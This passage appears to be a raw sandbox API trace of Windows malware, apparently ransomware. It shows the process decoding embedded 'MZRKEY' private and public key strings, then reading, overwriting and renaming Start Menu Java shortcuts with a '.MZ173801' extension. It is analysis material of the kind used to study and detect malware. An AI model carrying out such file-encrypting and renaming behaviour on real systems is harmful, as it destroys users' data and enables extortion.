6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x24aff6c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0214.492] GetCurrentThreadId () returned 0xab4 [0214.492] GetCurrentThreadId () returned 0xab4 [0214.492] GetCurrentThreadId () returned 0xab4 [0214.493] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0214.493] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24c0fcc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0214.493] GetCurrentThreadId () returned 0xab4 [0214.494] GetCurrentThreadId () returned 0xab4 [0214.494] GetCurrentThreadId () returned 0xab4 [0214.494] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Check For Updates.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\check for updates.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0214.494] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f474*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f474*=0) returned 0x0 [0214.494] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0214.494] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x842 [0214.494] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0214.494] ReadFile (in: hFile=0x330, lpBuffer=0x24c8dd0, nNumberOfBytesToRead=0x842, lpNumberOfBytesRead=0x19f480, lpOverlapped=0x0 | out: lpBuffer=0x24c8dd0*, lpNumberOfBytesRead=0x19f480*=0x842, lpOverlapped=0x0) returned 1 [0214.510] CloseHandle (hObject=0x330) returned 1 [0214.511] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Check For Updates.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\check for updates.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0214.512] WriteFile (in: hFile=0x330, lpBuffer=0x24cae00*, nNumberOfBytesToWrite=0x842, lpNumberOfBytesWritten=0x19f48c, lpOverlapped=0x0 | out: lpBuffer=0x24cae00*, lpNumberOfBytesWritten=0x19f48c*=0x842, lpOverlapped=0x0) returned 1 [0214.766] CloseHandle (hObject=0x330) returned 1 [0214.766] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Check For Updates.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\check for updates.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Check For Updates.lnk.MZ173801" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\check for updates.lnk.mz173801")) returned 1 [0214.767] GetCurrentThreadId () returned 0xab4 [0214.767] GetCurrentThreadId () returned 0xab4 [0214.767] GetCurrentThreadId () returned 0xab4 [0214.767] GetCurrentThreadId () returned 0xab4 [0214.767] GetCurrentThreadId () returned 0xab4 [0214.767] GetCurrentThreadId () returned 0xab4 [0214.767] FindNextFileW (in: hFindFile=0xa1b6c8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac326e8c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac326e8c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xac589477, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x818, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Configure Java.lnk", cAlternateFileName="CONFIG~1.LNK")) returned 1 [0214.767] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0214.767] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0214.767] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Configure Java.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\configure java.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19f4c0 | out: lpFileInformation=0x19f4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac326e8c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac326e8c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xac589477, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x818)) returned 1 [0214.767] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Configure Java.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\configure java.lnk")) returned 0x20 [0214.768] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Configure Java.lnk", dwFileAttributes=0x80) returned 1 [0214.769] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0214.769] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24aff6c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsK